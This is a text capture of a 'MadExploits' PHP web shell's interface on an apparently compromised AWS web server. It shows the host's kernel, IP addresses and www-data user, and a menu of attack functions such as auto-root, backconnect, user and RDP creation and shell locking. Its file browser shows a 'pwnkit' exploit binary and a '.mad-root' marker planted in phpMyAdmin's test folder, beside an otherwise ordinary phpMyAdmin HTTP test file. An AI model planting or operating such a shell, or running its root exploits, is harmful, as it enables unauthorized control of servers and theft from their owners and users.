Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.46
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
ForeignKeyTest.php
3.85
KB
-rw-r--r--
FormatConverterTest.php
3.45
KB
-rw-r--r--
GisTest.php
5.29
KB
-rw-r--r--
HttpRequestTest.php
6.92
KB
-rw-r--r--
SessionCacheTest.php
3.48
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HttpRequestTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Utils; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Tests\AbstractTestCase; use PhpMyAdmin\Utils\HttpRequest; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use PHPUnit\Framework\Attributes\Group; use PHPUnit\Framework\Attributes\Medium; use PHPUnit\Framework\Attributes\RequiresPhpExtension; use function curl_version; use function ini_get; use function stripos; use const CURLOPT_CAINFO; use const CURLOPT_CAPATH; #[CoversClass(HttpRequest::class)] #[Medium] class HttpRequestTest extends AbstractTestCase { private HttpRequest $httpRequest; protected function setUp(): void { parent::setUp(); $this->setProxySettings(); DatabaseInterface::$instance = $this->createDatabaseInterface(); $this->httpRequest = new HttpRequest(); } /** * Skip test if CURL extension does not support SSL flags */ private function checkCurlSslFlagsSupport(): void { $curl = curl_version(); /** * Some SSL engines in CURL do not support CURLOPT_CAPATH * and CURLOPT_CAINFO flags, see * https://curl.haxx.se/docs/ssl-compared.html */ if ( $curl !== false && stripos($curl['ssl_version'], 'WinSSL') === false && stripos($curl['ssl_version'], 'SecureTransport') === false ) { return; } self::markTestSkipped('Not supported in CURL SSL backend: ' . ($curl !== false ? $curl['ssl_version'] : '?')); } /** * Test for http request using Curl * * @param string $url url * @param string $method method * @param bool $returnOnlyStatus return only status * @param bool|string|null $expected expected result */ #[DataProvider('httpRequests')] #[Group('network')] #[RequiresPhpExtension('curl')] public function testCurl(string $url, string $method, bool $returnOnlyStatus, bool|string|null $expected): void { $result = $this->callFunction( $this->httpRequest, HttpRequest::class, 'curl', [$url, $method, $returnOnlyStatus], ); $this->validateHttp($result, $expected); } /** * Test for http request using Curl with CURLOPT_CAPATH * * @param string $url url * @param string $method method * @param bool $returnOnlyStatus return only status * @param bool|string|null $expected expected result */ #[DataProvider('httpRequests')] #[Group('network')] #[RequiresPhpExtension('curl')] public function testCurlCAPath( string $url, string $method, bool $returnOnlyStatus, bool|string|null $expected, ): void { $this->checkCurlSslFlagsSupport(); $result = $this->callFunction($this->httpRequest, HttpRequest::class, 'curl', [ $url, $method, $returnOnlyStatus, null, '', CURLOPT_CAPATH, ]); $this->validateHttp($result, $expected); } /** * Test for http request using Curl with CURLOPT_CAINFO * * @param string $url url * @param string $method method * @param bool $returnOnlyStatus return only status * @param bool|string|null $expected expected result */ #[DataProvider('httpRequests')] #[Group('network')] #[RequiresPhpExtension('curl')] public function testCurlCAInfo( string $url, string $method, bool $returnOnlyStatus, bool|string|null $expected, ): void { $this->checkCurlSslFlagsSupport(); $result = $this->callFunction($this->httpRequest, HttpRequest::class, 'curl', [ $url, $method, $returnOnlyStatus, null, '', CURLOPT_CAINFO, ]); $this->validateHttp($result, $expected); } /** * Test for http request using fopen * * @param string $url url * @param string $method method * @param bool $returnOnlyStatus return only status * @param bool|string|null $expected expected result */ #[DataProvider('httpRequests')] #[Group('network')] public function testFopen(string $url, string $method, bool $returnOnlyStatus, bool|string|null $expected): void { if (! ini_get('allow_url_fopen')) { self::markTestSkipped('Configuration directive allow_url_fopen is not enabled.'); } $result = $this->callFunction( $this->httpRequest, HttpRequest::class, 'fopen', [$url, $method, $returnOnlyStatus], ); $this->validateHttp($result, $expected); } /** * Test for http request using generic interface * * @param string $url url * @param string $method method * @param bool $returnOnlyStatus return only status * @param bool|string|null $expected expected result */ #[DataProvider('httpRequests')] #[Group('network')] #[RequiresPhpExtension('curl')] public function testCreate(string $url, string $method, bool $returnOnlyStatus, bool|string|null $expected): void { if (! ini_get('allow_url_fopen')) { self::markTestSkipped('Configuration directive allow_url_fopen is not enabled.'); } $result = $this->httpRequest->create($url, $method, $returnOnlyStatus); $this->validateHttp($result, $expected); } /** * Method to check http test results * * @param mixed $result Result of HTTP request * @param mixed $expected Expected match */ private function validateHttp(mixed $result, mixed $expected): void { if ($expected === true) { self::assertTrue($result); } elseif ($expected === false) { self::assertFalse($result); } elseif ($expected === null) { self::assertNull($result); } else { self::assertNotNull($result, 'The request maybe has failed'); self::assertStringContainsString($expected, $result); } } /** * Data provider for HTTP tests * * @return mixed[][] */ public static function httpRequests(): array { return [ ['https://www.phpmyadmin.net/test/data', 'GET', true, true], ['https://www.phpmyadmin.net/test/data', 'POST', true, null], ['https://nonexisting.phpmyadmin.net/test/data', 'GET', true, null], ['https://www.phpmyadmin.net/test/data', 'GET', false, 'TEST DATA'], ['https://www.phpmyadmin.net/test/nothing', 'GET', true, false], ]; } }
Close